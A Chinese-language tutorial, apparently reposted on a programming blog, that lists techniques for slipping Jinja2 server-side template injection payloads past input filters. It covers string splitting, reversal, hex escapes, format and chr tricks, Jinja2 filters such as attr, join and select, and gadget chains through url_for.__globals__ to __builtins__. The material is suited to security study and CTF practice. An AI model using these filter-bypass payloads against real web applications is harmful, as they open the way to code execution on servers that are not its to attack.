SSTI模板注入绕过(进阶篇)

SSTI模板注入绕过(进阶篇)文章目录语法变量过滤器总结获取内置方法以 chr 为例字符串构造获取键值或下标获取属性下面的内容均以 jinja2 为例 根据官方文档来探寻绕过方法文档链接默认大家都已经可以利用没有任何过滤的模板注入语法官方文档对于模板的语法介绍如下 forStatement forExpressio forCommentsn

下面的内容均以jinja2为例,根据官方文档来探寻绕过方法
文档链接
默认大家都已经可以利用没有任何过滤的模板注入

语法

官方文档对于模板的语法介绍如下

{% ... %} for Statements { 
     { ... }} for Expressions to print to the template output {# ... #} for Comments not included in the template output # ... # for Line Statements 
{ 
      % set x= 'abcd' %} 声明变量 { 
      % for i in ['a','b','c'] %}{ 
      { 
      i}}{ 
      %endfor%} 循环语句 { 
      % if 25==5*5 %}{ 
      { 
      1}}{ 
      % endif %} 条件语句 
# for i in ['a','1'] { 
      { 
       i }} # endfor { 
      % for i in ['a','1'] %} { 
      { 
       item }} { 
      % endfor %} 这两条是等效的,但是有个前提,必须在environment中配置line_statement_prefix 即 app.jinja_env.line_statement_prefix="#" 但我尝试之后发现开启不了,不知道为什么 

变量

You can use a dot (.) to access attributes of a variable in addition to the standard Python __getitem__ “subscript” syntax ([]). --官方原文 
{ 
      { 
      "".__class__}} { 
      { 
      ""['__classs__']}} 

所以过滤了点,我们还可以用中括号绕过。
如果想调用字典中的键值,其本质其实是调用了魔术方法__getitem__
所以对于取字典中键值的情况不仅可以用[],也可以用__getitem__
当然对于字典来说,我们也可以用他自带的一些方法了。pop就是其中的一个






pop(key[,default]) 参数 key: 要删除的键值 default: 如果没有 key,返回 default 值 删除字典给定键 key 所对应的值,返回值为被删除的值。key值必须给出。 否则,返回default值。 

我们要使用字典中的键值的话,也可以用list.pop("var"),但大家最好不要用这个,除非万不得已,因为会删除里面的键,如果删除的是一些程序运行需要用到的,就可能使得服务器崩溃。然后过了一遍字典的方法,发现getsetdefault是个不错的选择

dict.get(key, default=None) 返回指定键的值,如果值不在字典中返回default值 dict.setdefault(key, default=None) 和get()类似, 但如果键不存在于字典中,将会添加键并将值设为default 
{ 
      { 
      url_for.__globals__['__builtins__']}} { 
      { 
      url_for.__globals__.__getitem__('__builtins__')}} { 
      { 
      url_for.__globals__.pop('__builtins__')}} { 
      { 
      url_for.__globals__.get('__builtins__')}} { 
      { 
      url_for.__globals__.setdefault('__builtins__')}} 

那么调用对象的方法具体是什么原理呢,其实他是调用了魔术方法__getattribute__


"".__class__ "".__getattribute__("__class__") 

如果题目过滤了class或者一些关键字,我们是不是就可以通过字符串处理进行拼接了。
对于我们来说,能转换成字符串会更好处理一些。
那我们就顺势讲一下字符串的一些处理方法。
1、拼接
"cla"+"ss"
2、反转
"__ssalc__"[::-1]












但是实际上我发现其实加号是多余的,在jinjia2里面,"cla""ss"是等同于"class"的,也就是说我们可以这样引用class,并且绕过字符串过滤

""["__cla""ss__"] "".__getattribute__("__cla""ss__") ""["__ssalc__"][::-1] "".__getattribute__("__ssalc__"[::-1]) 

3、ascii转换

"{0:c}".format(97)='a' "{0:c}{1:c}{2:c}{3:c}{4:c}{5:c}{6:c}{7:c}{8:c}".format(95,95,99,108,97,115,115,95,95)='__class__' 

4、编码绕过

"__class__"=="\x5f\x5fclass\x5f\x5f"=="\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f" 对于python2的话,还可以利用base64进行绕过 "__class__"==("X19jbGFzc19f").decode("base64") 

5、利用chr函数
因为我们没法直接使用chr函数,所以需要通过__builtins__找到他

{ 
      % set chr=url_for.__globals__['__builtins__'].chr %} { 
      { 
      ""[chr(95)%2bchr(95)%2bchr(99)%2bchr(108)%2bchr(97)%2bchr(115)%2bchr(115)%2bchr(95)%2bchr(95)]}} 

6、在jinja2里面可以利用~进行拼接

{ 
      %set a='__cla' %}{ 
      %set b='ss__'%}{ 
      { 
      ""[a~b]}} 

7、大小写转换
前提是过滤的只是小写

""["__CLASS__".lower()] 

先想到这些,下面讲过滤器再补充

过滤器

原文介绍

Variables can be modified by filters. Filters are separated from the variable by a pipe symbol (|) and may have optional arguments in parentheses. Multiple filters can be chained. The output of one filter is applied to the next. For example, { 
     { name|striptags|title }} will remove all HTML Tags from variable name and title-case the output (title(striptags(name))). 变量可以通过过滤器修改。过滤器与变量之间用管道符号(|)隔开,括号中可以有可选参数。可以链接多 个过滤器。一个过滤器的输出应用于下一个过滤器。 例如,{ 
     { name|striptags|title }} 将删除变量名中的所有HTML标记,并将title大小写为输出(title(striptags(name)))。 

讲几个对我们进行模板注入比较实用的吧,其他的大家可以去文档中学习。

attr

Get an attribute of an object. foo|attr("bar") works like foo.bar just that always an attribute is returned and items are not looked up. 
""|attr("__class__") 相当于 "".__class__ 

这个大家应该见的比较多了,常见于点号(.)被过滤,或者点号(.)和中括号([])都被过滤的情况。

format

Apply the given values to a printf-style format string, like string % values. 
"%c%c%c%c%c%c%c%c%c"|format(95,95,99,108,97,115,115,95,95)=='__class__' ""["%c%c%c%c%c%c%c%c%c"|format(95,95,99,108,97,115,115,95,95)] 

first last random

Return the first item of a sequence. Return the last item of a sequence. Return a random item from the sequence. 
"".__class__.__mro__|last() 相当于 "".__class__.__mro__[-1] 

join

Return a string which is the concatenation of the strings in the sequence. The separator between elements is an empty string per default, you can define it with the optional parameter: { 
      { 
       [1, 2, 3]|join('|') }} -> 1|2|3 { 
      { 
       [1, 2, 3]|join }} -> 123 It is also possible to join certain attributes of an object: { 
      { 
       users|join(', ', attribute='username') }} 

这个用处就相当大了,我们貌似又多了一种字符串拼接的方法

""[['__clas','s__']|join] 或者 ""[('__clas','s__')|join] 相当于 ""["__class__"] 

lower

Convert a value to lowercase. 功能类似于前面的转换成小写 
""["__CLASS__"|lower] 

replace reverse

Return a copy of the value with all occurrences of a substring replaced with a new one. The first argument is the substring that should be replaced, the second is the replacement string. If the optional third argument count is given, only the first count occurrences are replaced Reverse the object or return an iterator that iterates over it the other way round. 

我们可以利用替换和反转还原回我们要用的字符串了

"__claee__"|replace("ee","ss") 构造出字符串 "__class__" "__ssalc__"|reverse 构造出 "__class__" 

string

Make a string unicode if it isn’t already. That way a markup string is not converted back to unicode. 
().__class__ 出来的是<class 'tuple'> (().__class__|string)[0] 出来的是< 

select unique

Filters a sequence of objects by applying a test to each object, and only selecting the objects with the test succeeding. If no test is specified, each object will be evaluated as a boolean. 通过对每个对象应用测试并仅选择测试成功的对象来筛选对象序列。 如果没有指定测试,则每个对象都将被计算为布尔值 Returns a list of unique items from the given iterable. 

这两个乍一看感觉没啥用处,其实如果我们和上面的结合就会发现他们巨大的用处

()|select|string 结果如下 <generator object select_or_reject at 0x0000022717FF33C0> 

这样我们会拥有比前面更多的字符来用于拼接

(()|select|string)[24]~ (()|select|string)[24]~ (()|select|string)[15]~ (()|select|string)[20]~ (()|select|string)[6]~ (()|select|string)[18]~ (()|select|string)[18]~ (()|select|string)[24]~ (()|select|string)[24] 得到字符串"__class__" 

在这里插入图片描述

list

Convert the value into a list. If it was a string the returned list will be a list of characters. 
(()|select|string)[0] 如果中括号被过滤了,挺难的 但是列表的话就可以用pop取下标了 当然都可以使用__getitem__ 
(()|select|string|list).pop(0) 

过滤器也先写到这了,还有不少,大家可以自行研究。

总结

获取内置方法 以chr为例

"".__class__.__base__.__subclasses__()[x].__init__.__globals__['__builtins__'].chr get_flashed_messages.__globals__['__builtins__'].chr url_for.__globals__['__builtins__'].chr lipsum.__globals__['__builtins__'].chr x.__init__.__globals__['__builtins__'].chr (x为任意值) 

获取字符串
具体原理可参考文章

request.args.x1 get传参 request.values.x1 get、post传参 request.cookies request.form.x1 post传参 (Content-Type:applicaation/x-www-form-urlencoded或multipart/form-data) request.data post传参 (Content-Type:a/b) request.json post传json (Content-Type: application/json) 

字符串构造

1、拼接
"cla"+"ss"
2、反转
"__ssalc__"[::-1]






但是实际上我发现其实加号是多余的,在jinjia2里面,"cla""ss"是等同于"class"的,也就是说我们可以这样引用class,并且绕过字符串过滤

""["__cla""ss__"] "".__getattribute__("__cla""ss__") ""["__ssalc__"[::-1]] "".__getattribute__("__ssalc__"[::-1]) 

3、ascii转换

"{0:c}".format(97)='a' "{0:c}{1:c}{2:c}{3:c}{4:c}{5:c}{6:c}{7:c}{8:c}".format(95,95,99,108,97,115,115,95,95)='__class__' 

4、编码绕过

"__class__"=="\x5f\x5fclass\x5f\x5f"=="\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f" 对于python2的话,还可以利用base64进行绕过 "__class__"==("X19jbGFzc19f").decode("base64") 

5、利用chr函数
因为我们没法直接使用chr函数,所以需要通过__builtins__找到他

{ 
      % set chr=url_for.__globals__['__builtins__'].chr %} { 
      { 
      ""[chr(95)%2bchr(95)%2bchr(99)%2bchr(108)%2bchr(97)%2bchr(115)%2bchr(115)%2bchr(95)%2bchr(95)]}} 

6、在jinja2里面可以利用~进行拼接

{ 
      %set a='__cla' %}{ 
      %set b='ss__'%}{ 
      { 
      ""[a~b]}} 

7、大小写转换
前提是过滤的只是小写

""["__CLASS__".lower()] 

8、利用过滤器

('__clas','s__')|join ["__CLASS__"|lower "__claee__"|replace("ee","ss") "__ssalc__"|reverse "%c%c%c%c%c%c%c%c%c"|format(95,95,99,108,97,115,115,95,95) (()|select|string)[24]~ (()|select|string)[24]~ (()|select|string)[15]~ (()|select|string)[20]~ (()|select|string)[6]~ (()|select|string)[18]~ (()|select|string)[18]~ (()|select|string)[24]~ (()|select|string)[24] dict(__clas=a,s__=b)|join 

获取键值或下标

dict['__builtins__'] dict.__getitem__('__builtins__') dict.pop('__builtins__') dict.get('__builtins__') dict.setdefault('__builtins__') list[0] list.__getitem__(0) list.pop(0) 

获取属性

().__class__ ()["__class__"] ()|attr("__class__") ().__getattribute__("__class__") 

转载请联系笔者






版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请联系我们举报,一经查实,本站将立刻删除。

发布者:全栈程序员-站长,转载请注明出处:https://javaforall.net/178209.html原文链接:https://javaforall.net

(0)
上一篇 2026年3月26日 下午5:47
下一篇 2026年3月26日 下午5:47


相关推荐

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

关注全栈程序员社区公众号